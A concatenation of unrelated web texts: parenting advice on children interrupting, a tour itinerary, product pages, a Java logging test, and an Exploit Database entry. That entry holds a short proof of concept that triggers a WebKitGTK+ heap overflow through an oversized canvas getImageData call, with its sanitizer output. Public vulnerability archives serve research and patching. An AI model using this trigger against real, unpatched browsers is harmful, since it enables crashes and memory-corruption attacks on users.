*Hey Johnny, I'd like to share something with you, is this a good time?
Providing opportunity for children to learn to wait is important, but it needs to happen at a time when the child can actually succeed.
*I will talk on the phone for a few minutes and then we can read that book.
* I need to tell your dad something and then I will come and find you, here is a puzzle if you'd like to use it to pass the time.
* I need quiet time for 10 minutes, what will you do to pass the time? Can you find something or want some help?
The process of learning not to interrupt or to do so politely takes practice. My blue crayon yelling tot has grown into a happy and respectful eight year old. Since he is around three years old, with some practice he learned to tap my arm and say very politely "excuse me mom" instead of blurting out what is on his mind.
*I need a few more minutes please.
*I will listen to you in a moment.
* I see you need me, and this isn't a good time.
*Let's talk after I'm done on the phone.
*I see you need to talk to me. I need 5 more minutes.
*Would you like to hold my hand? I'll be right with you.
Other times, it's helpful to remember that growing children make mistakes and get excited. They are not interrupting to be rude or because they don't care about you and your needs.
Interruptions can seem so disrespectful, beware of using consequences or commands such as shhhhhh! or Zip it! to manage this kind of unhelpful behavior.
While you may get a child's attention and get them to stop talking, or bothering you, this certainly does not create the opportunity to teach. Children will learn much more about taking turns, waiting, listening attentively and respecting others if you choose to model how you expect it to be done. Give your child some tools, have a plan and then plenty of opportunities to practice.
These five steps to reduce interruptions while teaching polite communication skills can be very effective with some guidance and patience on your part.
What times does your child interrupt the most? Is it a particular time of day or during a specific activity you are trying to do? Let me know in comments and I" be happe to trouble shoot a solution with you.
I'm working with a family that has this problem with their 6 year old. I am going to suggest that they try the above techniques,as I'm a big fan of your style. Are there any other suggestions you have for children this age? I understand it will take perseverance on the parents part and continuity of parenting in both households.
Interrupting can sometimes be a connection seeking behavior, so making sure a child is getting plenty of individual time with the parent where the goal is simply to enjoy each other (not constantly correct the behaviors). Another possibility is to give the child some responsibilities at home so he feels a good sense of belonging to the family. Interrupting can be the child's way of asking to be noticed. Hope that helps.
Hand signal works for me. My four-year-old seems to get my hand gesture. Thanks for sharing your tips! They are really helpful.
Hi, thank you fro your article. I have a six year old that is on first grade, he does wonderfully in school with reading, math, etc. His teacher praises that side of him. His main problem is that he interrupts the teacher during class, he fails sometimes to raise his hand and talks. The teacher uses a behavioral color chart, he seems to always be on the lowest color of behavior for interrupting.
Once he comes home, that is the one thing that brings him down and keeps expressing his dislike of school. The teacher wants some ideas. I want to help him as well. I have talked with him about it and we have tried, but keeps happening.
It might be most helpful for the teacher and your six year old to make an agreement. They could talk and brain storm together something that would help void the interruptions like a hand signal. Behavior color charts really are detrimental to children-s sense of capability and I highly recommend teachers look into Positive Discipline in the Classroom or similar programs to find alternatives for running a classroom that is based on mutual respect, building community, team work and agreements. Your six year old interrupts to participate and it would be a pity to create discouragement when the child clearly wants to learn and participate. This is something that takes practice and unless the child and teacher are on the same page and working together, instead of against each other *as the color chart tends to do putting undue pressure on the child and a focus on failure * Failing to raise a hand should-t be an offense with consequences like marking down on a color chart, but simply seen as a little mistake that can be encouraged away with kind and firm guidance. 1st graders are making many leaps in their social / emotional abilities, including learning how to navigate social conversations and norms. As far as home / playing board games for turn taking, playing with questions during meals to practice conversations and listening and noticing if your child gets interrupted often can also be good starting points. Hope this gives you some ideas on where to get started.
One thing you can do is teach him to take his thought and place it on one of his fingers, and then the next thought on the other finger and so on and tell him it's OK to have a handful of questions and ideas while he waits his turn. It would be great if his teacher is open to checking in with him a few times each day to see if he has questions or concerns – this way he can also count on that "check in time" and she can remind him to wait until it's their time instead of interrupting 🙂 The ability to stay quiet and focused (listening to a story, being in class etc…really can take time for some children) Another thing to do is to play physical games at home that focus on turn taking like mother may I, red light green light , follow the leader – these are fun games that also help develop self-regulation. hope that helps!
My 3-year-old mostly interrupts while I'm talking to my husband (or, more specifically, while he's trying to say something to me). I try to quickly respond to her, sometimes asking her to wait, sometimes actually responding if it's a quick thing, but my husband finds it frustrating and feels like what he's saying isn't being given priority. From my perspective, everyone is trying to speak to me at the same time, so I just can't focus on any one conversation. I will try the hand gestures, but is there anything you recommend for the dinner table, when she can't necessarily hold my hand or something?
We are having a problem with our 5 year old at dinner. She is interrupting during the dinner conversation. When we tell her to wait for the person talking to finish their thought she gets very frustrated and mad.
It doesn't help that her 6 yr old big sister is a talker and is upset when we tell her to finish up so others can speak.
1. Using the signal or "it's not your turn to talk yet" doesn't work for my child. He will angrily say "MOM", "MOM", "MOM"….it is usually when he is upset about something. What can I do?
2. He often forgets when it is his turn and gets upset about it. Would handing him my phone to text me his thought be a bad choice?
4. BACK TALKING is my biggest right now. Do you have a list of Rules or a FUN BEHAVIOR BOARD that lists how to control back talking? He has formed bad habits.
It's hard to divide your attention between everyone at the table (or any other situation)! It may be helpful to talk to your husband and decide on a better strategy that you can both agree on, maybe you will decide that you will both practice not attending to the interruption (even if it gets loud), or have an alternative at the table for your daughter such as a drawing pad and pencil for her to scribble her thoughts until she is ready. The other thing that is helpful is to set aside to talk as a couple, without your daughter on a daily basis. Meaning your daughter can go play in her room ( or another safe space) while you both talk and catch up. Then you can make dinner conversations more about family things and light topics, not things that your husband and you are really trying to say to each other. Over the years your daughter will learn the dynamics of turn taking if you keep modeling it and show less frustration by creating new plans for communication.
Please help! I'm so frustrated with my 5 year old boy,he cannot stop talking.Today when we visited our neighbors and discussed about something,while the elders was talking my son just start interrupting,not once but everytime we start our talks,he started interrupting. I asked him to wait,but he just screamed to me that he cannot wait! So we had to leave immediately because no way we can continue our conversation.How to help him to collaborate well with adults in such cases?
Taking time to practice is a great way for children to learn how to take turns. You can use props like a talking stick, give him ideas for drawing or writing down words while he waits and making a signal for him to remember to stop and wait. This is something that takes a lot of time to practice so if you can find some friends or relatives that are willing to help, you can tell them you would like to invite them for a coffee chat and ask if they are ok with you working on this with your child for a bit of the time they are there? Without practice the child will not be able to understand the social norms that are expected. hope that helps you.


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Q: "Restore" registry entries after system rebuild So i just changed my as good as broken hard-drive and installed Windows 8 to a new Primary Drive (SSD 64GB, 6GB/s).
I left my other Hard Drive (Toshiba 500 GB) built into my PC and left the Software on it installed.
Now my new Windows 8 has lost all the shortcuts and registry entries to the programs I installed over the span of more than half a year.
Question:
Is there any way to "restore" / refresh registry entries for already correctly installed Programs after fully new installation of windows?
Would it help to have the old Boot-Partition (except for the Windows folder)?


Choose from a steel, polymer, or aluminum reservoir with a 50 gal or 70 gal capacity. All versions come with a cast iron pump/valve .assembly rated at 46 GPM at 1800 RPM.
The wetline kit includes: (1) Upright reservoir; (1) Frame bracket kit with fasteners; (1) Reservoir isolation package; (1) 46 GPM at 1800 RPM cast iron pump/valve combination with brackets; (1) 6 ft internally reinforced 1-1/4 in. suction hose; (2) 1-1/4 in. barbed adapter fittings; (2) 1-1/4 in. stainless steel hose clamps; (1) 1 in. high pressure swivel adapter; (1) 1 in. wing-type high pressure quick detach coupling; and (1) 1 in. high pressure hose, 6 ft long.


SYNOBAND RFID concert wristbands bring comfort, functionality and convenience to concert goers right across your venue. We offer the full range of 13.56 MHz Mifare wristband chips for RFID concert admission ticketing, allowing your guests to use secure RFID ticketing credentials at check-in and then for secure RFID cashless payments at your vendor stalls.
All of our RFID concert wristbands are available with customized concert branding and other special requirements on request.
Managing the admission of thousands of concert goers to your concert venue is a huge task that can benefit from the use of RFID admission bracelets. Reading admission tickets with a barcode reader is slow and results in misreads. SYNOBAND RFID concert wristbands rids you of that problem by allowing for faster reads, speeding up entry and keeping line-ups manageable for better crowd control and security.
Choosing RFID concert wristbands for your event is also an opportunity to promote your brand, or to sign up sponsors that wish to promote their brand, in high profile way on every wrist. Secure RFID credentials on the chip eliminate counterfeit tickets and allow for other benefits too, such as VIP area access control and cashless payments for drinks, food and concert swag, eliminating leakage and the need for cash management.
How long will the guests wear the wristband? A night, a day, a weekend?
Does it need to be fully secure or can it be removed and transferred?
Will it be used for gate access only? Or also for cashless payments and/or marketing?
Can you get sponsors? How much branding space do they need on the band?
Different concert wristbands have different materials and costs. Which one do you really need?


In his ongoing series of works, Chinese sculptor Li Shengzeng creates surreal animals that don't act like animals at all. "Leaving individuals behind is painful", admits the sculptor, but it allows us to reduce confusion and see the value and force of life. In the space of impermanent compounds, what we pursue may not exist really and we can only feel the value and force of life when the doom is set. It allows us the clarity to reduce confusion; to find true self is difficult, but it gives us the happiness of one in a million.


Sri Lanka has just about everything a traveller could want - superb ancient sites, magnificent scenery, amazing wildlife, delicious cuisine, incredibly friendly and welcoming locals and lovely palm-fringed, white sandy beaches. Add to this a history touched by Portuguese, Dutch and British influences and a society with a strong and devout adherence to the Buddhist faith and we find an island-nation of incredibly rich diversity with much to offer. We discover all of this and more on a comprehensive journey of what has been affectionately called, due to its shape, the 'Teardrop Isle'.
Welcome to Sri Lanka. Upon arrival at Bandaranaike International Airport (the country's only international airport), you'll be met and transferred to your hotel close to Negombo, which is situated north of Colombo. Your airport representative will be waiting in the arrival hall, located after passing through the customs area. Please look out for the signboard with your surname on it. A welcome meeting with your trip leader will take place at around 6 pm, so check with reception or the noticeboard for details. Although Colombo is the commercial capital and by far the largest city in Sri Lanka, it's still relatively small. You won't be staying in the capital itself, but in a place by the lagoon. If you have time, you can hire a bike here to explore the town.
After breakfast this morning, head to the fish market in Negombo. This can be quite an intense affair, but seeing the variety of fish being presented by the locals is a great experience. Afterwards, venture out in a private vehicle (approximately 4.5 hours) to the ancient city of Sigiriya. In the evening, head out for one of the highlights of any visit to Sri Lanka, a visit to the magnificent palace of Sigiriya (Lion Rock). This dramatic rocky outcrop, rising from the surrounding plains is topped by a ruined palace. It's a good workout to climb to the top, but well worth the effort.
The visit to Lion Rock takes around 3.5 hrs. Start late afternoon, reaching the lion paw in around an hour and a half. On the way visit the water garden, boulder garden, Sigiriya Frescos and the mirror wall.
After the Lion Paw its a steep climb with plenty of steps and walkways along the side of the rock. This part of the climb takes around 30 minutes.
Those not wanting to go to the top can rest at the lion paw until the rest of the group return.
Drive to Anuradhapura in a private vehicle after breakfast this morning (approximately 1.5 hours). The sacred city of Anuradhapura is one of the main shrines of Buddhism in the country. Take a walk through intricate monuments and amazing architecture. While here you witness the famous sacred fig tree, Jaya Sri Maha Bodhi. Also see Isurumuniya, a beautiful Buddhist temple nearby. After your visit to this ancient city, head back to Sigiriya. Your evening is then free to do as you wish.
After breakfast, journey by private vehicle out to another of the area's ancient landmarks in Polonnaruwa (approximately 1.5 hours each way). There are plenty of temples, tombs and stupas to discover, as well as the spectacular Quadrangle. Today you also sit down to enjoy high tea in Dambulla. Later in the afternoon, head back to Sigiriya where you can have an optional ayurvedic massage.
Make the short drive to Dambulla Caves Temple this morning and explore this magnificent cave complex. The World Heritage-listed monastery has been a pilgrimage site for 22 centuries and for good reason. In the afternoon, venture out in your private vehicle to Kandy (approximately 2.5 hours). You'll also visit a spice garden in Matale on the way. On arrival, check in to your hotel and head out to explore.
While this city is the second largest in the country and capital of the central hill regions, it's very much a peaceful and attractive place. In the morning, take a guided tour of the Royal Botanical Garden with a botanist. These gardens are world class, and the largest botanical gardens in the country. As well as 300 species of orchids, there are a number of bird species in the park, including the Yellow Fronted Barbet, Layards Parakeet, Sri Lankan Hanging Parrot and Brown Capped Babbler. Next, pay a visit to the gem museum and lapidary in Kandy. Finally, in the evening, visit the Temple of the Tooth Relic (Dalada Maligawa). Located in the heart of town, this is the most important shrine in the country, housing a relic of a tooth of Buddha taken from his funeral pyre.
Say farewell to Kandy after breakfast and take the scenic train ride to Haputale (approximately 5 hours). Perched on a mountain ridge overlooking lush green countryside, this town offers many a photo opportunity. On arrival, check in to your accommodation and head out to explore your surrounds. Or simply soak up the views from the pristine gardens at your resort.
Train tickets from Kandy to Haputale are in very high demand, especially over high season (December - March).While we always try our best to secure tickets, on the rare occasion that we cannot you will be provided with a private vehicle.
Due to high demand we have added extra departures on November 10th & 24th, and December 26th, 2019 for this trip. Please note that these departures will not be staying in Haputale on Days 7 & 8 due to the unavailability of rooms at the Melheim Resort. We will instead stay at The Golden Ridge Hotel (or similar) in Nuwara-Eliya for those days.
Venture out this morning after breakfast and walk to a nearby tea plantation and factory. In the afternoon, you'll sit down for lunch at a local planter's bungalow, before having the rest of the day free to relax.
Transfer to Tissamaharama (known colloquially as Tissa). On the way there, make a stop at a beautiful small town in the highlands, Ella. Here, visit Ella Gap which offers beautiful vistas out across the plains. In the evening, head to Yala National Park, Sri Lanka's premier wildlife reserve. Here you board a 4x4 and embark on a safari. There's a good chance of spotting crocodiles, elephants, monkeys and buffaloes. When it's all over, retire to your resort to relax and unwind.
From September to mid October the Wildlife Conservation Department of Sri Lanka close Yala National Park for the development of infrastructure as well as for plant and wildlife rejuvination. Today we instead visit the Elephant Transit Home at Udawalawe, followed by a jeep safari in Udawalawe National Park.
Today you will enjoy another safari in Yala National Park. Perhaps take the chance to do some birdwatching; Yala is home to some 215 bird species, including the Sri Lanka Wood Pigeon, Painted Stork and Crimson-fronted Barbet. If Yala is closed today, the group will visit Bundala National Park instead.
From September to mid October the Wildlife Conservation Department of Sri Lanka close Yala National Park for the development of infrastructure as well as for plant and wildlife rejuvination. During this time our jeep safari will be in Bundala National Park.
Bundala National Park is home to elephants, crocodiles, monkeys, and wild boar.
Take an optional visit Kataragama Temple in the morning to see the shrine that's dedicated to Kataragama Deviyo (resident god). Later we will transfer to Galle, a beautiful seaside town near Sri Lanka's southermost tip. Settle into your hotel, and perhaps stretch your legs with a stroll around a town considered the best preserved colonial town in Sri Lanka. At its core is a Dutch-built fort surrounded on three sides by the ocean but there's a trove of ancient mosques and churches, museums, boutiques and more. Between the months of November to April, whale watching is also a possibility in this area. If you have time in the day, pay a visit to the Handunugoda white tea plantation for a lesson in history and process.
The morning and afternoon are yours to explore this charming town. Wander through the newer parts of Galle to experience a slightly more hectic way of life that of the fort. In the evening you will take a guided walk through town.
An afternoon transfer from Galle will leave enough time for you to take a guided tour of Sri Lanka's capital city. A spicy mix of religions and cultures. Colombo is a busy and vibrant place with a laid-back ambience. After your walking tour head out for a final dinner with your group, or perhaps check out the city's nightlife.
Your trip comes to an end after breakfast this morning. If you'd like to stay on in Colombo, we can help arrange additional accommodation for you on request. Why not soak up all that Colombo has to offer on an immersive one-day Urban Adventure tour? Visit www.urbanadventues.com for more details.
There are currently no scheduled departures on our Jewels of Sri Lanka trip. If you are interested in other trips in the region visit one of the links below.
A single supplement is available to purchase and is applicable for all nights on tour.
Dates for Perahera Festival are based on the lunar calendar, usually in July-August. The Festival is a 10 day period of evening processions to honour the Sacred Tooth, which is enshrined at Kandy's Temple of the Tooth. Each night features thousands of dancers and drummers, and a parade of more than 50 decorated elephants. Due to Intrepid's stance on Elephant cruelty we do not visit the Perahera and cannot purchase tickets on your behalf.


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package org.apache.geode.internal.logging.log4j;

import static org.hamcrest.Matchers.instanceOf;
import static org.hamcrest.Matchers.is;
import static org.hamcrest.Matchers.isEmptyOrNullString;
import static org.junit.Assert.assertThat;

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.config.ConfigurationFactory;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.contrib.java.lang.system.RestoreSystemProperties;
import org.junit.experimental.categories.Category;

import org.apache.geode.internal.logging.LogService;
import org.apache.geode.test.junit.categories.LoggingTest;

/**
 * Integration tests for FastLogger when using the default log4j2 config for GemFire.
 */
@Category(LoggingTest.class)
public class FastLoggerWithDefaultConfigIntegrationTest {

  private static final String TEST_LOGGER_NAME = FastLogger.class.getPackage().getName();

  private Logger logger;

  @Rule
  public RestoreSystemProperties restoreSystemProperties = new RestoreSystemProperties();

  @Before
  public void setUp() throws Exception {
    System.clearProperty(ConfigurationFactory.CONFIGURATION_FILE_PROPERTY);
    LogService.reconfigure();
  }

  /**
   * System property "log4j.configurationFile" should be
   * "/org/apache/geode/internal/logging/log4j/log4j2-default.xml"
   */
  @Test
  public void configurationFilePropertyIsDefaultConfig() {
    assertThat(System.getProperty(ConfigurationFactory.CONFIGURATION_FILE_PROPERTY),
        isEmptyOrNullString());
  }

  /**
   * LogService isUsingGemFireDefaultConfig should be true
   */
  @Test
  public void isUsingGemFireDefaultConfig() {
    assertThat(LogService.isUsingGemFireDefaultConfig(), is(true));
  }

  /**
   * LogService getLogger should return loggers wrapped in FastLogger
   */
  @Test
  public void logServiceReturnsFastLoggers() {
    logger = LogService.getLogger(TEST_LOGGER_NAME);

    assertThat(logger, is(instanceOf(FastLogger.class)));
  }

  /**
   * FastLogger isDelegating should be false
   */
  @Test
  public void isDelegatingShouldBeFalse() {
    logger = LogService.getLogger(TEST_LOGGER_NAME);

    assertThat(((FastLogger) logger).isDelegating(), is(false));
  }
}


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We are delighted to announce some exciting developments at Law At Work. Effective from 22nd September 2016, LAW has acquired Square Circle HR Ltd.
Square Circle is a specialist HR consultancy established in 2006, based in Glasgow but providing outsourced HR support to businesses throughout the UK. We are equally delighted that the three directors of Square Circle; Roz Wood, Alison Welsh and Christian Potter together with their team of six highly qualified HR consultants will be remaining with LAW. Square Circle HR has an excellent reputation for the quality of the service they provide and we were immediately impressed by the Directors and the personalised client relationships they and their people have developed over the years. Our focus in the coming months will be to ensure that our teams work together to continue to provide the very best support for our clients.
Our core focus remains providing quality employment law and health & safety services utilising dedicated solicitors and health & safety specialists. We have also provided project based HR support to clients when requested through a small HR team. The acquisition of Square Circle will allow us to expand this offering by providing more hands-on HR support on a day to day basis to specialist project work.
The combination of the two businesses will enable both LAW and Square Circle clients to access new services depending on their specific requirements. For Square Circle clients, this is in the form of broader business services in Health & Safety, Legal Services, Insurance and Training while the existing LAW clients can now access a wider range of dedicated hands-on HR support on a retainer or project basis, in addition to the HR Project support we currently offer, all of which will be delivered by highly qualified and experienced HR professionals.
If you have any questions or wish to discuss in more detail the enhanced range of services that LAW can now offer, please contact any of the LAW or Square Circle Directors.
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text:
Rita and Phil walk through a town square. Rita believes him now and thinks it will be a good idea for her to follow him around and to witness what happens to him.
Rita and Phil end up back in Phil's room throwing cards at a hat. Phil is able to get every one into the hat. Rita asks him how long it takes to get good at this skill, and Phil answers that it takes six months practicing four to five hours a day. So yeah, he's been in Punxsutawney a looonnnng time.
Phil is sad because tomorrow, Rita won't remember any of their time together and she'll wake up the next day thinking he's a jerk again.
Rita says that maybe Phil isn't cursed but blessed. She says sometimes she'd love the chance to do things over. But then again, she hasn't been stuck in the same day for as long as Phil has.
Rita hugs Phil on the bed and the clock strikes midnight. She celebrates because Phil is still there. But Phil says that midnight doesn't have any special significance. Rita just assumed that everything reset at midnight. It's 6 a.m. that's key.
3 a.m. rolls around and Phil and Rita are still hanging out. Rita is having a really tough time staying awake though.
Phil falls asleep next to Rita while telling her how much love he has for her. Rita's half-asleep while he says it.


text:
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WebkitGTK+ 2.20.3 - 'ImageBufferCairo::getImageData()' Buffer Overflow (PoC)
EDB-ID:
CVE:
EDB Verified:
PeregrineX
Exploit: /
Vulnerable App:
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# Exploit Title: WebkitGTK+ 2.20.3 - 'ImageBufferCairo::getImageData()' Buffer Overflow (PoC)
# Exploit Author: PeregrineX
# Vendor Homepage: https://webkitgtk.org/ & https://webkit.org/wpe/
# Software Link: https://webkitgtk.org/releases/ & https://wpewebkit.org/releases/
# Version: <2.20.3 (GTK+) <2.20.1 (WPE)
# Tested on: WebKitGTK+ 2.20.2
# CVE : CVE-2018-12293
# SUMMARY:
# getImageData() in ImageBufferCairo.cpp multiplies rect.width() * rect.height() * 4
# without any overflow checks. If result is larger than UINT_MAX,
# heap-based buffer overflow via integer overflow will occur,
# which could be exploited further.
# Works on WebKitGTK+ <2.20.3 and WPE WebKit <2.20.1
# Credit to ADlab of Venustech for originally finding this vulnerability.
Vulnerable Code (Source/WebCore/platform/graphics/cairo/ImageBufferCairo.cpp):
template <AlphaPremultiplication premultiplied>
RefPtr<Uint8ClampedArray> getImageData(const IntRect& rect, const IntRect& logicalRect, const ImageBufferData& data, const IntSize& size, const IntSize& logicalSize, float resolutionScale)
auto result = Uint8ClampedArray::createUninitialized(rect.width() * rect.height() * 4);
if (!result)
# Proof of Concept:
funciton poc() {
var c = document.getElementById("myCanvas");
var ctx = c.getContext("2d");
var imgData = ctx.getImageData(0, 0, 32768, 32768);
<body onload="poc()">
<canvas id="myCanvas" width="32768" height="32768">No HTML5 canvas tag.</canvas>
# Output snippet
UBSAN output:
../Source/JavaScriptCore/runtime/JSGlobalObject.cpp:1608:22: runtime error:
call to function (unknown) through pointer to incorrect function type
'JSC::RuntimeFlags (*)(const JSC::JSGlobalObject *)'
(/usr/local/lib/libwebkit2gtk-4.0.so.37+0x11116c70): note: (unknown) defined here
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior
../Source/JavaScriptCore/runtime/JSObject.h:695:17 in
DerivedSources/JavaScriptCore/KeywordLookup.h:469:13: runtime error:
load of misaligned address 0x7fd8a1d95062 for type 'const uint32_t'
(aka 'const unsigned int'), which requires 4 byte alignment
0x7fd8a1d95062: note: pointer points here
00 00  28 66 75 6e 63 74 69 6f  6e 20 28 74 68 69 73 56  61 6c 75 65 2c 20 61 72  67 75 6d 65 6e 74
Tags: Buffer Overflow
Advisory/Source: Link
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About The Exploit Database
The Exploit Database is maintained by Offensive Security, an information security training company that provides various Information Security Certifications as well as high end penetration testing services. The Exploit Database is a non-profit project that is provided as a public service by Offensive Security.
The Exploit Database is a CVE compliant archive of public exploits and corresponding vulnerable software, developed for use by penetration testers and vulnerability researchers. Our aim is to serve the most comprehensive collection of exploits gathered through direct submissions, mailing lists, as well as other public sources, and present them in a freely-available and easy-to-navigate database. The Exploit Database is a repository for exploits and proof-of-concepts rather than advisories, making it a valuable resource for those who need actionable data right away.
The Google Hacking Database (GHDB) is a categorized index of Internet search engine queries designed to uncover interesting, and usually sensitive, information made publicly available on the Internet. In most cases, this information was never meant to be made public but due to any number of factors this information was linked in a web document that was crawled by a search engine that subsequently followed that link and indexed the sensitive information.
The process known as "Google Hacking" was popularized in 2000 by Johnny Long, a professional hacker, who began cataloging these queries in a database known as the Google Hacking Database. His initial efforts were amplified by countless hours of community member effort, documented in the book Google Hacking For Penetration Testers and popularised by a barrage of media attention and Johnny's talks on the subject such as this early talk recorded at DEFCON 13. Johnny coined the term "Googledork" to refer to "a foolish or inept person as revealed by Google". This was meant to draw attention to the fact that this was not a "Google problem" but rather the result of an often unintentional misconfiguration on the part of a user or a program installed by the user. Over time, the term "dork" became shorthand for a search query that located sensitive information and "dorks" were included with may web application vulnerability releases to show examples of vulnerable web sites.
After nearly a decade of hard work by the community, Johnny turned the GHDB over to Offensive Security in November 2010, and it is now maintained as an extension of the Exploit Database. Today, the GHDB includes searches for other online search engines such as Bing, and other online repositories like GitHub, producing different, yet equally valuable results.
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Platform AIX ASP BSD BSD_PPC BSD_x86 BSDi_x86 CGI FreeBSD FreeBSD_x86 FreeBSD_x86-64 Generator Hardware HP-UX IRIX JSP Linux Linux_MIPS Linux_PPC Linux_SPARC Linux_x86 Linux_x86-64 MINIX Multiple NetBSD_x86 Novell OpenBSD OpenBSD_x86 OSX_PPC OSX PHP Plan9 QNX SCO SCO_x86 Solaris Solaris_SPARC Solaris_x86 Tru64 ULTRIX Unix UnixWare Windows_x86 Windows_x86-64 Windows ARM CFM Netware SuperH_SH4 Java BeOS Immunix Palm_OS AtheOS iOS Android XML Perl Python System_z JSON ASHX Ruby ASPX macOS Linux_CRISv32 eZine Magazine NodeJS Alpha Solaris_MIPS Lua
Port 14 21 22 23 25 42 49 53 66 69 70 79 80 81 102 105 110 111 113 119 123 135 139 143 161 162 164 383 389 402 406 411 443 444 445 446 502 504 513 514 515 532 548 554 555 617 623 631 655 689 783 787 808 873 888 901 998 1000 1040 1089 1099 1100 1114 1120 1194 1235 1471 1521 1533 1581 1589 1604 1617 1723 1743 1761 1812 1858 1861 1900 1947 2000 2022 2049 2100 2103 2121 2125 2181 2242 2315 2375 2380 2381 2401 2480 2525 2640 2810 2812 2947 2954 2990 3000 3030 3050 3052 3128 3129 3181 3200 3217 3306 3333 3378 3389 3460 3465 3500 3535 3632 3690 3790 3814 3817 4000 4002 4070 4081 4105 4111 4322 4343 4434 4501 4555 4592 4661 4750 4848 5000 5060 5061 5080 5081 5093 5151 5180 5247 5250 5272 5308 5432 5466 5554 5555 5600 5655 5666 5800 5803 5814 5858 5900 5984 6066 6070 6080 6082 6101 6112 6129 6502 6503 6660 6667 7001 7002 7070 7071 7080 7100 7144 7210 7272 7290 7426 7443 7510 7547 7649 7770 7777 7778 7787 7879 7902 8000 8001 8002 8004 8008 8020 8022 8023 8028 8030 8080 8081 8082 8088 8090 8181 8300 8400 8443 8445 8473 8500 8585 8619 8800 8812 8839 8880 8888 9000 9001 9002 9080 9090 9091 9100 9124 9200 9251 9256 9443 9447 9784 9788 9855 9876 9900 9987 9993 9999 10000 10001 10080 10202 10203 10443 10616 11000 11211 11460 12203 12221 12345 12397 12401 13327 13701 13722 13838 16992 18821 18881 19000 19810 19813 20000 20010 20031 20111 20171 22003 23423 25672 26000 27015 27700 28015 30000 30303 31337 32400 32674 32764 34205 37215 37777 37848 38292 40007 41523 44334 46824 48080 49152 50000 50496 52311 52789 52869 52986 53413 54345 54890 55554 55555 56380 57772 58080 62514
Tag WordPress Core Metasploit Framework (MSF) WordPress Plugin SQL Injection (SQLi) Cross-Site Scripting (XSS) File Inclusion (LFI/RFI) Cross-Site Request Forgery (CSRF) Denial of Service (DoS) Code Injection Command Injection Authentication Bypass / Credentials Bypass (AB/CB) Client Side Use After Free (UAF) Out Of Bounds Remote Local XML External Entity (XXE) Integer Overflow Server-Side Request Forgery (SSRF) Race Condition NULL Pointer Dereference Malware Buffer Overflow Heap Overflow Type Confusion Object Injection Bug Report Console Pwn2Own Traversal Deserialization
Has App
No Metasploit


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